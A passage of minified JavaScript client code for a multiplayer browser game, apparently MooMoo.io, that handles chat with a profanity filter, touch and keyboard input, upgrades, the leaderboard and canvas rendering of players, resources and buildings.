						for(var e = "", t = 0; t < s.skinColors.length; ++t) e += t == ae ? "<div class='skinColorItem activeSkin' style='background-color:" + s.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>" : "<div class='skinColorItem' style='background-color:" + s.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>";
						Ke.innerHTML = e
					}
					var nn = document.getElementById("chatBox")
						, rn = document.getElementById("chatHolder");

					function on() {
						ln ? setTimeout(function () {
							var e = prompt("chat message");
							e && an(e)
						}, 1) : "block" == rn.style.display ? (nn.value && an(nn.value), sn()) : (Je.style.display = "none", ze.style.display = "none", rn.style.display = "block", nn.focus(), yn()), nn.value = ""
					}

					function an(e) {
						i.send("ch", e.slice(0, 30))
					}

					function sn() {
						nn.value = "", rn.style.display = "none"
					}
					var ln, cn, un = ["cunt", "whore", "fuck", "shit", "faggot", "nigger", "nigga", "dick", "vagina", "minge", "cock", "rape", "cum", "sex", "tits", "penis", "clit", "pussy", "meatcurtain", "jizz", "prune", "douche", "wanker", "damn", "bitch", "dick", "fag", "bastard"];

					function fn(e, t) {
						var n = Cr(e);
						n && (n.chatMessage = function (e) {
							for(var t, n = 0; n < un.length; ++n)
								if(e.indexOf(un[n]) > -1) {
									t = "";
									for(var r = 0; r < un[n].length; ++r) t += t.length ? "o" : "M";
									var i = new RegExp(un[n], "g");
									e = e.replace(i, t)
								} return e
						}(t), n.chatCountdown = s.chatCountdown)
					}

					function dn() {
						j = window.innerWidth, X = window.innerHeight;
						var e = Math.max(j / se, X / le) * R;
						ve.width = j * R, ve.height = X * R, ve.style.width = j + "px", ve.style.height = X + "px", be.setTransform(e, 0, 0, e, (j * R - se * e) / 2, (X * R - le * e) / 2)
					}

					function hn(e) {
						(ln = e) ? Te.classList.add("touch"): Te.classList.remove("touch")
					}

					function pn(e) {
						e.preventDefault(), e.stopPropagation(), hn(!0);
						for(var t = 0; t < e.changedTouches.length; t++) {
							var n = e.changedTouches[t];
							n.identifier == ie.id ? (ie.id = -1, xn()) : n.identifier == oe.id && (oe.id = -1, L.buildIndex >= 0 && (D = 1, vn()), D = 0, vn())
						}
					}

					function An() {
						return global_functions_exporter.cursorDisable ? global_functions_exporter.myPlayer.dir : L ? (-1 != oe.id ? cn = Math.atan2(oe.currentY - oe.startY, oe.currentX - oe.startX) : L.lockDir || ln || (cn = Math.atan2(re - X / 2, ne - j / 2)), o.fixTo(cn || 0, 2)) : 0
					}
					window.addEventListener("resize", o.checkTrusted(dn)), dn(), hn(!1), window.setUsingTouch = hn, ve.addEventListener("touchmove", o.checkTrusted(function (e) {
						e.preventDefault(), e.stopPropagation(), hn(!0);
						for(var t = 0; t < e.changedTouches.length; t++) {
							var n = e.changedTouches[t];
							n.identifier == ie.id ? (ie.currentX = n.pageX, ie.currentY = n.pageY, xn()) : n.identifier == oe.id && (oe.currentX = n.pageX, oe.currentY = n.pageY, D = 1)
						}
					}), !1), ve.addEventListener("touchstart", o.checkTrusted(function (e) {
						e.preventDefault(), e.stopPropagation(), hn(!0);
						for(var t = 0; t < e.changedTouches.length; t++) {
							var n = e.changedTouches[t];
							n.pageX < document.body.scrollWidth / 2 && -1 == ie.id ? (ie.id = n.identifier, ie.startX = ie.currentX = n.pageX, ie.startY = ie.currentY = n.pageY, xn()) : n.pageX > document.body.scrollWidth / 2 && -1 == oe.id && (oe.id = n.identifier, oe.startX = oe.currentX = n.pageX, oe.startY = oe.currentY = n.pageY, L.buildIndex < 0 && (D = 1, vn()))
						}
					}), !1), ve.addEventListener("touchend", o.checkTrusted(pn), !1), ve.addEventListener("touchcancel", o.checkTrusted(pn), !1), ve.addEventListener("touchleave", o.checkTrusted(pn), !1), ve.addEventListener("mousemove", function (e) {
						e.preventDefault(), e.stopPropagation(), hn(!1), ne = e.clientX, re = e.clientY
					}, !1), ve.addEventListener("mousedown", function (e) {
						hn(!1), 1 != D && (D = 1, vn())
					}, !1), ve.addEventListener("mouseup", function (e) {
						hn(!1), 0 != D && (D = 0, vn())
					}, !1);
					var gn = {}
						, mn = {
							87: [0, -1]
							, 38: [0, -1]
							, 83: [0, 1]
							, 40: [0, 1]
							, 65: [-1, 0]
							, 37: [-1, 0]
							, 68: [1, 0]
							, 39: [1, 0]
						};

					function yn() {
						gn = {}, i.send("rmd")
					}

					function wn() {
						return "block" != ze.style.display && "block" != rn.style.display
					}

					function vn() {
						L && L.alive && i.send("c", D, L.buildIndex >= 0 ? An() : null)
					}
					window.addEventListener("keydown", o.checkTrusted(function (e) {
						var t = e.which || e.keyCode || 0;
						27 == t ? Jt() : L && L.alive && wn() && (gn[t] || (gn[t] = 1, 69 == t ? i.send("7", 1) : 67 == t ? (Tt || (Tt = {}), Tt.x = L.x, Tt.y = L.y) : 88 == t ? (L.lockDir = L.lockDir ? 0 : 1, i.send("7", 0)) : null != L.weapons[t - 49] ? En(L.weapons[t - 49], !0) : null != L.items[t - 49 - L.weapons.length] ? En(L.items[t - 49 - L.weapons.length]) : 81 == t ? En(L.items[0]) : 82 == t ? Bn() : mn[t] ? xn() : 32 == t && (D = 1, vn())))
					})), window.addEventListener("keyup", o.checkTrusted(function (e) {
						if(L && L.alive) {
							var t = e.which || e.keyCode || 0;
							13 == t ? on() : wn() && gn[t] && (gn[t] = 0, mn[t] ? xn() : 32 == t && (D = 0, vn()))
						}
					}));
					var bn = void 0;

					function xn() {
						var e = function () {
							var e = 0
								, t = 0;
							if(-1 != ie.id) e += ie.currentX - ie.startX, t += ie.currentY - ie.startY;
							else
								for(var n in mn) {
									var r = mn[n];
									e += !!gn[n] * r[0], t += !!gn[n] * r[1]
								}
							return 0 == e && 0 == t ? void 0 : o.fixTo(Math.atan2(t, e), 2)
						}();
						(null == bn || null == e || Math.abs(e - bn) > .3) && (i.send("33", e), bn = e)
					}

					function Bn() {
						i.send("14", 1)
					}

					function En(e, t) {
						i.send("5", e, t)
					}

					function kn(e) {
						k("moo_name", je.value), !ce && i.connected && (ce = !0, x.stop("menu"), pt("Loading..."), i.send("sp", {
							name: je.value
							, moofoll: U
							, skin: ae
						}))
					}
					var Cn = !0;

					function In(e) {
						Me.style.display = "none", Ie.style.display = "block", ue.style.display = "none", gn = {}, _ = e, D = 0, ce = !0, Cn && (Cn = !1, F.length = 0)
					}

					function Tn(e, t, n, r) {
						g.showText(e, t, 50, .18, 500, Math.abs(n), n >= 0 ? "#fff" : "#8ecc51")
					}
					var Mn = 99999;

					function Pn() {
						ce = !1;
						try {
							factorem.refreshAds([2], !0)
						} catch (e) {}
						Pe.style.display = "none", Jt(), Ct = {
							x: L.x
							, y: L.y
						}, Me.style.display = "none", Ge.style.display = "block", Ge.style.fontSize = "0px", Mn = 0, setTimeout(function () {
							Ie.style.display = "block", ue.style.display = "block", Ge.style.display = "none"
						}, s.deathFadeout), gt()
					}

					function On(e) {
						L && rt.removeAllItems(e)
					}

					function Dn(e) {
						rt.disableBySid(e)
					}

					function Ln() {
						De.innerText = L.points, Le.innerText = L.food, _e.innerText = L.wood, Se.innerText = L.stone, qe.innerText = L.kills
					}
					var _n = {}
						, Sn = ["crown", "skull"]
						, qn = [];

					function Hn(e, t) {
						if(L.upgradePoints = e, L.upgrAge = t, e > 0) {
							qn.length = 0, o.removeAllChildren(Ye);
							for(var n = 0; n < c.weapons.length; ++n) c.weapons[n].age == t && (null == c.weapons[n].pre || L.weapons.indexOf(c.weapons[n].pre) >= 0) && (o.generateElement({
									id: "upgradeItem" + n
									, class: "actionBarItem"
									, onmouseout: function () {
										kt()
									}
									, parent: Ye
								})
								.style.backgroundImage = document.getElementById("actionBarItem" + n)
								.style.backgroundImage, qn.push(n));
							for(n = 0; n < c.list.length; ++n)
								if(c.list[n].age == t && (null == c.list[n].pre || L.items.indexOf(c.list[n].pre) >= 0)) {
									var r = c.weapons.length + n;
									o.generateElement({
											id: "upgradeItem" + r
											, class: "actionBarItem"
											, onmouseout: function () {
												kt()
											}
											, parent: Ye
										})
										.style.backgroundImage = document.getElementById("actionBarItem" + r)
										.style.backgroundImage, qn.push(r)
								} for(n = 0; n < qn.length; n++) ! function (e) {
								var t = document.getElementById("upgradeItem" + e);
								t.onmouseover = function () {
									c.weapons[e] ? kt(c.weapons[e], !0) : kt(c.list[e - c.weapons.length])
								}, t.onclick = o.checkTrusted(function () {
									i.send("6", e)
								}), o.hookTouchEvents(t)
							}(qn[n]);
							qn.length ? (Ye.style.display = "block", We.style.display = "block", We.innerHTML = "SELECT ITEMS (" + e + ")") : (Ye.style.display = "none", We.style.display = "none", kt())
						} else Ye.style.display = "none", We.style.display = "none", kt()
					}

					function Vn(e, t, n) {
						null != e && (L.XP = e), null != t && (L.maxXP = t), null != n && (L.age = n), n == s.maxAge ? (Ue.innerHTML = "MAX AGE", Re.style.width = "100%") : (Ue.innerHTML = "AGE " + L.age, Re.style.width = L.XP / L.maxXP * 100 + "%")
					}

					function jn(e) {
						o.removeAllChildren(He);
						for(var t = 1, n = 0; n < e.length; n += 3) ! function (n) {
							o.generateElement({
								class: "leaderHolder"
								, parent: He
								, children: [o.generateElement({
									class: "leaderboardItem"
									, style: "color:" + (e[n] == _ ? "#fff" : "rgba(255,255,255,0.6)")
									, text: t + ". " + ("" != e[n + 1] ? e[n + 1] : "unknown")
								}), o.generateElement({
									class: "leaderScore"
									, text: o.kFormat(e[n + 2]) || "0"
								})]
							})
						}(n), t++
					}

					function Xn(e, t, n, r) {
						be.save(), be.setTransform(1, 0, 0, 1, 0, 0), be.scale(R, R);
						var i = 50;
						be.beginPath(), be.arc(e, t, i, 0, 2 * Math.PI, !1), be.closePath(), be.fillStyle = "rgba(255, 255, 255, 0.3)", be.fill(), i = 50;
						var o = n - e
							, a = r - t
							, s = Math.sqrt(Math.pow(o, 2) + Math.pow(a, 2))
							, l = s > i ? s / i : 1;
						o /= l, a /= l, be.beginPath(), be.arc(e + o, t + a, .5 * i, 0, 2 * Math.PI, !1), be.closePath(), be.fillStyle = "white", be.fill(), be.restore()
					}

					function Un(e, t, n) {
						for(var r = 0; r < Q.length; ++r)(S = Q[r])
							.active && S.layer == e && (S.update(M), S.active && wr(S.x - t, S.y - n, S.scale) && (be.save(), be.translate(S.x - t, S.y - n), be.rotate(S.dir), Yn(0, 0, S, be, 1), be.restore()))
					}
					var Rn = {};

					function Yn(e, t, n, r, i) {
						if(n.src) {
							var o = c.projectiles[n.indx].src
								, a = Rn[o];
							a || ((a = new Image)
								.onload = function () {
									this.isLoaded = !0
								}, a.src = ".././img/weapons/" + o + ".png", Rn[o] = a), a.isLoaded && r.drawImage(a, e - n.scale / 2, t - n.scale / 2, n.scale, n.scale)
						} else 1 == n.indx && (r.fillStyle = "#939393", ar(e, t, n.scale, r))
					}

					function Wn(e, t, n, r) {
						var i = s.riverWidth + r
							, o = s.mapScale / 2 - t - i / 2;
						o < le && o + i > 0 && n.fillRect(0, o, se, i)
					}

					function zn(e, t, n) {
						for(var r, i, o, a = 0; a < F.length; ++a)(S = F[a])
							.active && (i = S.x + S.xWiggle - t, o = S.y + S.yWiggle - n, 0 == e && S.update(M), S.layer == e && wr(i, o, S.scale + (S.blocker || 0)) && (be.globalAlpha = S.hideFromEnemy ? .6 : 1, S.isItem ? (r = or(S), be.save(), be.translate(i, o), be.rotate(S.dir), be.drawImage(r, -r.width / 2, -r.height / 2), S.blocker && (be.strokeStyle = "#db6e6e", be.globalAlpha = .3, be.lineWidth = 6, ar(0, 0, S.blocker, be, !1, !0)), be.restore()) : (r = rr(S), be.drawImage(r, i - r.width / 2, o - r.height / 2))))
					}

					function Nn(e, t, n) {
						(S = Cr(e)) && S.startAnim(t, n)
					}

					function Fn(e, t, n) {
						be.globalAlpha = 1;
						for(var r = 0; r < z.length; ++r)(S = z[r])
							.zIndex == n && (S.animate(M), S.visible && (S.skinRot += .002 * M, V = (S == L ? An() : S.dir) + S.dirPlus, be.save(), be.translate(S.x - e, S.y - t), be.rotate(V), Qn(S, be), be.restore()))
					}

					function Qn(e, t) {
						(t = t || be)
						.lineWidth = 5.5, t.lineJoin = "miter";
						var n = Math.PI / 4 * (c.weapons[e.weaponIndex].armS || 1)
							, r = e.buildIndex < 0 && c.weapons[e.weaponIndex].hndS || 1
							, i = e.buildIndex < 0 && c.weapons[e.weaponIndex].hndD || 1;
						if(e.tailIndex > 0 && function (e, t, n) {
								if(!(Gn = Jn[e])) {
									var r = new Image;
									r.onload = function () {
										this.isLoaded = !0, this.onload = null
									}, r.src = ".././img/accessories/access_" + e + ".png", Jn[e] = r, Gn = r
								}
								var i = $n[e];
								if(!i) {
									for(var o = 0; o < nt.length; ++o)
										if(nt[o].id == e) {
											i = nt[o];
											break
										} $n[e] = i
								}
								Gn.isLoaded && (t.save(), t.translate(-20 - (i.xOff || 0), 0), i.spin && t.rotate(n.skinRot), t.drawImage(Gn, -i.scale / 2, -i.scale / 2, i.scale, i.scale), t.restore())
							}(e.tailIndex, t, e), e.buildIndex < 0 && !c.weapons[e.weaponIndex].aboveHand && (tr(c.weapons[e.weaponIndex], s.weaponVariants[e.weaponVariant].src, e.scale, 0, t), null == c.weapons[e.weaponIndex].projectile || c.weapons[e.weaponIndex].hideProjectile || Yn(e.scale, 0, c.projectiles[c.weapons[e.weaponIndex].projectile], be)), t.fillStyle = s.skinColors[e.skinColor], ar(e.scale * Math.cos(n), e.scale * Math.sin(n), 14), ar(e.scale * i * Math.cos(-n * r), e.scale * i * Math.sin(-n * r), 14), e.buildIndex < 0 && c.weapons[e.weaponIndex].aboveHand && (tr(c.weapons[e.weaponIndex], s.weaponVariants[e.weaponVariant].src, e.scale, 0, t), null == c.weapons[e.weaponIndex].projectile || c.weapons[e.weaponIndex].hideProjectile || Yn(e.scale, 0, c.projectiles[c.weapons[e.weaponIndex].projectile], be)), e.buildIndex >= 0) {
							var o = or(c.list[e.buildIndex]);
							t.drawImage(o, e.scale - c.list[e.buildIndex].holdOffset, -o.width / 2)
						}
						ar(0, 0, e.scale, t), e.skinIndex > 0 && (t.rotate(Math.PI / 2), function e(t, n, r, i) {
							if(!(Gn = Kn[t])) {
								var o = new Image;
								o.onload = function () {
									this.isLoaded = !0, this.onload = null
								}, o.src = ".././img/hats/hat_" + t + ".png", Kn[t] = o, Gn = o
							}
							var a = r || Zn[t];
							if(!a) {
								for(var s = 0; s < tt.length; ++s)
									if(tt[s].id == t) {
										a = tt[s];
										break
									} Zn[t] = a
							}
							Gn.isLoaded && n.drawImage(Gn, -a.scale / 2, -a.scale / 2, a.scale, a.scale), !r && a.topSprite && (n.save(), n.rotate(i.skinRot), e(t + "_top", n, a, i), n.restore())
						}(e.skinIndex, t, null, e))
					}
					var Gn, Kn = {}
						, Zn = {}
						, Jn = {}
						, $n = {}
						, er = {};

					function tr(e, t, n, r, i) {
						var o = e.src + (t || "")
							, a = er[o];
						a || ((a = new Image)
							.onload = function () {
								this.isLoaded = !0
							}, a.src = ".././img/weapons/" + o + ".png", er[o] = a), a.isLoaded && i.drawImage(a, n + e.xOff - e.length / 2, r + e.yOff - e.width / 2, e.length, e.width)
					}
					var nr = {};

					function rr(e) {
						var t = e.y >= s.mapScale - s.snowBiomeTop ? 2 : e.y <= s.snowBiomeTop ? 1 : 0
							, n = e.type + "_" + e.scale + "_" + t
							, r = nr[n];
						if(!r) {
							var i = document.createElement("canvas");
							i.width = i.height = 2.1 * e.scale + 5.5;
							var a = i.getContext("2d");
							if(a.translate(i.width / 2, i.height / 2), a.rotate(o.randFloat(0, Math.PI)), a.strokeStyle = it, a.lineWidth = 5.5, 0 == e.type) {
								let e = [
										["#b1d959", "#95b946"]
										, ["#bade6e", "#aac76b"]
										, ["#a7d544", "#86a63f"]
										, ["#b4db62", "#9ebf57"]
									]
									, n = e[Math.floor(Math.random() * e.length)];
								for(var l, c = 0; c < 2; ++c) sr(a, 7, l = S.scale * (c ? .5 : 1), .7 * l), a.fillStyle = t ? c ? "#fff" : "#e3f1f4" : c ? n[0] : n[1], a.fill(), c || a.stroke()
							} else if(1 == e.type)
								if(2 == t) a.fillStyle = "#606060", sr(a, 6, .3 * e.scale, .71 * e.scale), a.fill(), a.stroke(), a.fillStyle = "#89a54c", ar(0, 0, .55 * e.scale, a), a.fillStyle = "#a5c65b", ar(0, 0, .3 * e.scale, a, !0);
								else {
									var u;
									! function (e, t, n, r) {
										var i, a = Math.PI / 2 * 3
											, s = Math.PI / 6;
										e.beginPath(), e.moveTo(0, -r);
										for(var l = 0; l < 6; l++) i = o.randInt(n + .9, 1.2 * n), e.quadraticCurveTo(Math.cos(a + s) * i, Math.sin(a + s) * i, Math.cos(a + 2 * s) * r, Math.sin(a + 2 * s) * r), a += 2 * s;
										e.lineTo(0, -r), e.closePath()
									}(a, 0, S.scale, .7 * S.scale), a.fillStyle = t ? "#e3f1f4" : "#89a54c", a.fill(), a.stroke(), a.fillStyle = t ? "#6a64af" : "#c15555";
									var f = E / 4;
									for(c = 0; c < 4; ++c) ar((u = o.randInt(S.scale / 3.5, S.scale / 2.3)) * Math.cos(f * c), u * Math.sin(f * c), o.randInt(10, 12), a)
								}
							else 2 != e.type && 3 != e.type || (a.fillStyle = 2 == e.type ? 2 == t ? "#938d77" : "#939393" : "#e0c655", sr(a, 3, e.scale, e.scale), a.fill(), a.stroke(), a.fillStyle = 2 == e.type ? 2 == t ? "#b2ab90" : "#bcbcbc" : "#ebdca3", sr(a, 3, .55 * e.scale, .65 * e.scale), a.fill());
							r = i, nr[n] = r
						}
						return r
					}
					var ir = [];

					function or(e, t) {
						var n = ir[e.id];
						if(!n || t) {
							var r = document.createElement("canvas");
							r.width = r.height = 2.5 * e.scale + 5.5 + (c.list[e.id].spritePadding || 0);
							var i = r.getContext("2d");
							if(i.translate(r.width / 2, r.height / 2), i.rotate(t ? 0 : Math.PI / 2), i.strokeStyle = it, i.lineWidth = 5.5 * (t ? r.width / 81 : 1), "apple" == e.name) {
								i.fillStyle = "#c15555", ar(0, 0, e.scale, i), i.fillStyle = "#89a54c";
								var a = -Math.PI / 2;
								! function (e, t, n, r, i) {
									var o = e + 25 * Math.cos(r)
										, a = t + 25 * Math.sin(r);
									i.moveTo(e, t), i.beginPath(), i.quadraticCurveTo((e + o) / 2 + 10 * Math.cos(r + Math.PI / 2), (t + a) / 2 + 10 * Math.sin(r + Math.PI / 2), o, a), i.quadraticCurveTo((e + o) / 2 - 10 * Math.cos(r + Math.PI / 2), (t + a) / 2 - 10 * Math.sin(r + Math.PI / 2), e, t), i.closePath(), i.fill(), i.stroke()
								}(e.scale * Math.cos(a), e.scale * Math.sin(a), 0, a + Math.PI / 2, i)
							} else if("cookie" == e.name) {
								i.fillStyle = "#cca861", ar(0, 0, e.scale, i), i.fillStyle = "#937c4b";
								for(var s = E / (u = 4), l = 0; l < u; ++l) ar((f = o.randInt(e.scale / 2.5, e.scale / 1.7)) * Math.cos(s * l), f * Math.sin(s * l), o.randInt(4, 5), i, !0)
							} else if("cheese" == e.name) {
								var u, f;
								for(i.fillStyle = "#f4f3ac", ar(0, 0, e.scale, i), i.fillStyle = "#c3c28b", s = E / (u = 4), l = 0; l < u; ++l) ar((f = o.randInt(e.scale / 2.5, e.scale / 1.7)) * Math.cos(s * l), f * Math.sin(s * l), o.randInt(4, 5), i, !0)
							} else if("wood wall" == e.name || "stone wall" == e.name || "castle wall" == e.name) {
								i.fillStyle = "castle wall" == e.name ? "#83898e" : "wood wall" == e.name ? "#a5974c" : "#939393";
								var d = "castle wall" == e.name ? 4 : 3;
								sr(i, d, 1.1 * e.scale, 1.1 * e.scale), i.fill(), i.stroke(), i.fillStyle = "castle wall" == e.name ? "#9da4aa" : "wood wall" == e.name ? "#c9b758" : "#bcbcbc", sr(i, d, .65 * e.scale, .65 * e.scale), i.fill()
							} else if("spikes" == e.name || "greater spikes" == e.name || "poison spikes" == e.name || "spinning spikes" == e.name) {
								i.fillStyle = "poison spikes" == e.name ? "#7b935d" : "#939393";
								var h = .6 * e.scale;
								sr(i, "spikes" == e.name ? 5 : 6, e.scale, h), i.fill(), i.stroke(), i.fillStyle = "#a5974c", ar(0, 0, h, i), i.fillStyle = "#c9b758", ar(0, 0, h / 2, i, !0)
							} else if("windmill" == e.name || "faster windmill" == e.name || "power mill" == e.name) i.fillStyle = "#a5974c", ar(0, 0, e.scale, i), i.fillStyle = "#c9b758", cr(0, 0, 1.5 * e.scale, 29, 4, i), i.fillStyle = "#a5974c", ar(0, 0, .5 * e.scale, i);
							else if("mine" == e.name) i.fillStyle = "#939393", sr(i, 3, e.scale, e.scale), i.fill(), i.stroke(), i.fillStyle = "#bcbcbc", sr(i, 3, .55 * e.scale, .65 * e.scale), i.fill();
							else if("sapling" == e.name)
								for(l = 0; l < 2; ++l) sr(i, 7, h = e.scale * (l ? .5 : 1), .7 * h), i.fillStyle = l ? "#b4db62" : "#9ebf57", i.fill(), l || i.stroke();
							else if("pit trap" == e.name) i.fillStyle = "#a5974c", sr(i, 3, 1.1 * e.scale, 1.1 * e.scale), i.fill(), i.stroke(), i.fillStyle = it, sr(i, 3, .65 * e.scale, .65 * e.scale), i.fill();
							else if("boost pad" == e.name) i.fillStyle = "#7e7f82", lr(0, 0, 2 * e.scale, 2 * e.scale, i), i.fill(), i.stroke(), i.fillStyle = "#dbd97d"
								, function (e, t) {
									t = t || be;
									var n = e * (Math.sqrt(3) / 2);
									t.beginPath(), t.moveTo(0, -n / 2), t.lineTo(-e / 2, n / 2), t.lineTo(e / 2, n / 2), t.lineTo(0, -n / 2), t.fill(), t.closePath()
								}(1 * e.scale, i);
							else if("turret" == e.name) i.fillStyle = "#a5974c", ar(0, 0, e.scale, i), i.fill(), i.stroke(), i.fillStyle = "#939393", lr(0, -25, .9 * e.scale, 50, i), ar(0, 0, .6 * e.scale, i), i.fill(), i.stroke();
							else if("platform" == e.name) {
								i.fillStyle = "#cebd5f";
								var p = 2 * e.scale
									, A = p / 4
									, g = -e.scale / 2;
								for(l = 0; l < 4; ++l) lr(g - A / 2, 0, A, 2 * e.scale, i), i.fill(), i.stroke(), g += p / 4
							} else "healing pad" == e.name ? (i.fillStyle = "#7e7f82", lr(0, 0, 2 * e.scale, 2 * e.scale, i), i.fill(), i.stroke(), i.fillStyle = "#db6e6e", cr(0, 0, .65 * e.scale, 20, 4, i, !0)) : "spawn pad" == e.name ? (i.fillStyle = "#7e7f82", lr(0, 0, 2 * e.scale, 2 * e.scale, i), i.fill(), i.stroke(), i.fillStyle = "#71aad6", ar(0, 0, .6 * e.scale, i)) : "blocker" == e.name ? (i.fillStyle = "#7e7f82", ar(0, 0, e.scale, i), i.fill(), i.stroke(), i.rotate(Math.PI / 4), i.fillStyle = "#db6e6e", cr(0, 0, .65 * e.scale, 20, 4, i, !0)) : "teleporter" == e.name && (i.fillStyle = "#7e7f82", ar(0, 0, e.scale, i), i.fill(), i.stroke(), i.rotate(Math.PI / 4), i.fillStyle = "#d76edb", ar(0, 0, .5 * e.scale, i, !0));
							n = r, t || (ir[e.id] = n)
						}
						return n
					}

					function ar(e, t, n, r, i, o) {
						(r = r || be)
						.beginPath(), r.arc(e, t, n, 0, 2 * Math.PI), o || r.fill(), i || r.stroke()
					}

					function sr(e, t, n, r) {
						var i, o, a = Math.PI / 2 * 3
							, s = Math.PI / t;
						e.beginPath(), e.moveTo(0, -n);
						for(var l = 0; l < t; l++) i = Math.cos(a) * n, o = Math.sin(a) * n, e.lineTo(i, o), a += s, i = Math.cos(a) * r, o = Math.sin(a) * r, e.lineTo(i, o), a += s;
						e.lineTo(0, -n), e.closePath()
					}

					function lr(e, t, n, r, i, o) {
						i.fillRect(e - n / 2, t - r / 2, n, r), o || i.strokeRect(e - n / 2, t - r / 2, n, r)
					}

					function cr(e, t, n, r, i, o, a) {
						o.save(), o.translate(e, t), i = Math.ceil(i / 2);
						for(var s = 0; s < i; s++) lr(0, 0, 2 * n, r, o, a), o.rotate(Math.PI / i);
						o.restore()
					}

					function ur(e) {
						for(var t = 0; t < e.length;) rt.add(e[t], e[t + 1], e[t + 2], e[t + 3] >= Number.MAX_SAFE_INTEGER && document.getElementById("fixInvisBuildings")
							.checked ? 0 : e[t + 3], e[t + 4], e[t + 5], c.list[e[t + 6]], !0, e[t + 7] >= 0 ? {
								sid: e[t + 7]
							} : null), t += 8
					}

					function fr(e, t) {
						(S = Tr(t)) && (S.xWiggle += s.gatherWiggle * Math.cos(e), S.yWiggle += s.gatherWiggle * Math.sin(e))
					}

					function dr(e, t) {
						(S = Tr(e)) && (S.dir = t, S.xWiggle += s.gatherWiggle * Math.cos(t + Math.PI), S.yWiggle += s.gatherWiggle * Math.sin(t + Math.PI))
					}

					function hr(e, t, n, r, i, o, a, s) {
						ut && (G.addProjectile(e, t, n, r, i, o, null, null, a)
							.sid = s)
					}

					function pr(e, t) {
						for(var n = 0; n < Q.length; ++n) Q[n].sid == e && (Q[n].range = t)
					}

					function Ar(e) {
						(S = Ir(e)) && S.startAnim()
					}

					function gr(e) {
						for(var t = 0; t < W.length; ++t) W[t].forcePos = !W[t].visible, W[t].visible = !1;
						if(e) {
							var n = Date.now();
							for(t = 0; t < e.length;)(S = Ir(e[t])) ? (S.index = e[t + 1], S.t1 = void 0 === S.t2 ? n : S.t2, S.t2 = n, S.x1 = S.x, S.y1 = S.y, S.x2 = e[t + 2], S.y2 = e[t + 3], S.d1 = void 0 === S.d2 ? e[t + 4] : S.d2, S.d2 = e[t + 4], S.health = e[t + 5], S.dt = 0, S.visible = !0) : ((S = J.spawn(e[t + 2], e[t + 3], e[t + 4], e[t + 1]))
								.x2 = S.x, S.y2 = S.y, S.d2 = S.dir, S.health = e[t + 5], J.aiTypes[e[t + 1]].name || (S.name = s.cowNames[e[t + 6]]), S.forcePos = !0, S.sid = e[t], S.visible = !0), t += 7
						}
					}
					var mr = {};

					function yr(e, t) {
						var n = e.index
							, r = mr[n];
						if(!r) {
							var i = new Image;
							i.onload = function () {
								this.isLoaded = !0, this.onload = null
							}, i.src = ".././img/animals/" + e.src + ".png", r = i, mr[n] = r
						}
						if(r.isLoaded) {
							var o = 1.2 * e.scale * (e.spriteMlt || 1);
							t.drawImage(r, -o, -o, 2 * o, 2 * o)
						}
					}

					function wr(e, t, n) {
						return e + n >= 0 && e - n <= se && t + n >= 0 && t - n <= le
					}

					function vr(e, t) {
						var n = function (e) {
							for(var t = 0; t < z.length; ++t)
								if(z[t].id == e) return z[t];
							return null
						}(e[0]);
						n || (n = new f(e[0], e[1], s, o, G, rt, z, W, c, tt, nt), z.push(n)), n.spawn(t ? U : null), n.visible = !1, n.x2 = void 0, n.y2 = void 0, n.setData(e), t && (q = (L = n)
							.x, H = L.y, $t(), Ln(), Vn(), Hn(0), Pe.style.display = "block")
					}

					function br(e) {
						for(var t = 0; t < z.length; t++)
							if(z[t].id == e) {
								z.splice(t, 1);
								break
							}
					}

					function xr(e, t) {
						L && (L.itemCounts[e] = t)
					}

					function Br(e, t, n) {
						L && (L[e] = t, n && Ln())
					}

					function Er(e, t) {
						(S = Cr(e)) && (S.health = t)
					}

					function kr(e) {
						for(var t = Date.now(), n = 0; n < z.length; ++n) z[n].forcePos = !z[n].visible, z[n].visible = !1;
						for(n = 0; n < e.length;)(S = Cr(e[n])) && (S.t1 = void 0 === S.t2 ? t : S.t2, S.t2 = t, S.x1 = S.x, S.y1 = S.y, S.x2 = e[n + 1], S.y2 = e[n + 2], S.d1 = void 0 === S.d2 ? e[n + 3] : S.d2, S.d2 = e[n + 3], S.dt = 0, S.buildIndex = e[n + 4], S.weaponIndex = e[n + 5], S.weaponVariant = e[n + 6], S.team = e[n + 7], S.isLeader = e[n + 8], S.skinIndex = e[n + 9], S.tailIndex = e[n + 10], S.iconIndex = e[n + 11], S.zIndex = e[n + 12], S.visible = !0), n += 13
					}

					function Cr(e) {
						for(var t = 0; t < z.length; ++t)
							if(z[t].sid == e) return z[t];
						return null
					}

					function Ir(e) {
						for(var t = 0; t < W.length; ++t)
							if(W[t].sid == e) return W[t];
						return null
					}

					function Tr(e) {
						for(var t = 0; t < F.length; ++t)
							if(F[t].sid == e) return F[t];
						return null
					}
					var Mr = -1;

					function Pr() {
						var e = Date.now() - Mr;
						window.pingTime = e, ke.innerText = "Ping: " + e + " ms"
					}

					function Or() {
						Mr = Date.now(), i.send("pp")
					}

					function Dr(e) {
						if(!(e < 0)) {
							var t = Math.floor(e / 60)
								, n = e % 60;
							n = ("0" + n)
								.slice(-2), Ce.innerText = "Server restarting in " + t + ":" + n, Ce.hidden = !1
						}
					}

					function Lr(e) {
						window.open(e, "_blank")
					}
					var _r = !0
						, Sr = [];
					(new Image)
